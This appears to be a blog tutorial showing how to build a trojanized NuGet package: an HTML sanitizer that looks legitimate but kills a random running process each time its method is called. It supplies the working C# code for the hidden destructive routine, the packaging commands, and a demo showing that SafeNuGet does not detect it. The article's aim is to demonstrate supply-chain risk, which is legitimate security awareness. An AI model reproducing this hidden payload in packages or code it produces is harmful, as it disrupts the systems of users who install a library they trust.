Bad NuGets everywhere


It’s quite funny how easy it is to create a “bad NuGet package” and distribute it through a package repository, by bad meaning a package which damages the system in one way or another. Granted the NuGet Gallery scans a given package for viruses and bad intent prior to making the package public, however, if you have set up a custom NuGet Gallery for your project you could essentially upload packages that are bad.

To demonstrate this, in the following steps, we will create an HTML sanitizer package that cleans HTML code in addition to killing a process at random. The package which we will create uses HTMLTidy under the roof, so that to the user it will look like HTML code is being cleaned as it should.

We create a static Sanitizer class with one public method SanitizeHtml:

public static string SanitizeHtml(string input)
{
    KillRandomProcess();
    return SanitizeUsingHtmlTidy(input);
}

This method kills a process at random, then proceeds to clean the HTML input. Killing a process at random is straightforward; fetch all process IDs into a list, then randomly fetch a process by ID from the IDs list. Then proceed to kill that process:

private static void KillRandomProcess()
{
    var processIds = Process.GetProcesses().Select(x => x.Id).ToList();
    var random = new Random();
    var randomProcess = Process.GetProcessById(processIds[random.Next(processIds.Count)]);
    try
    {
        randomProcess.Kill();
        randomProcess.WaitForExit();
        randomProcess.Dispose();
    }
    catch (Exception e)
    {
        KillRandomProcess();
    }
}

The reason that we use a try-catch (and call the method again inside the catch) is that sometimes we are denied access to kill a given process:

Sanitizing the HTML input is done using HTMLTidy:

private static string SanitizeUsingHtmlTidy(string input)
{
    string output;
    using (Document doc = Document.FromString(input))
    {
        doc.ShowWarnings = false;
        doc.Quiet = true;
        doc.OutputXhtml = true;
        doc.CleanAndRepair();
        output = doc.Save();
    }
    return output;
}

Now that the class is in order, we are ready to transform it into a NuGet package. Make sure NuGet.exe is installed and added to path. Start up cmd and:

  1. nuget spec Sanitizer.csproj
  2. Edit nuspec file accordingly
  3. nuget pack Sanitizer.csproj

Now let’s install and use the NuGet package we just created. Start a new Console Application solution, right click solution and choose “Manage NuGet Packages for Solution…”. Add a local package source that contains the package then install the package:

Now that the NuGet package is installed, we can start using it:

public class Program
{
    static void Main(string[] args)
    {
        var output = Sanitizer.Sanitizer.SanitizeHtml("<div>Hello world!</div><div>");
    }
}

Take a look at the number of processes currently running using PowerShell and you will see that the number drops each time the method is called:

And voilà, we installed a bad NuGet package locally in our system.

SafeNuGet does not detect our package as vulnerable

After installing SafeNuGet (an MsBuild task that warns about insecure NuGet libraries) by eoftedal and building the solution, no vulnerable package was found. Scary indeed.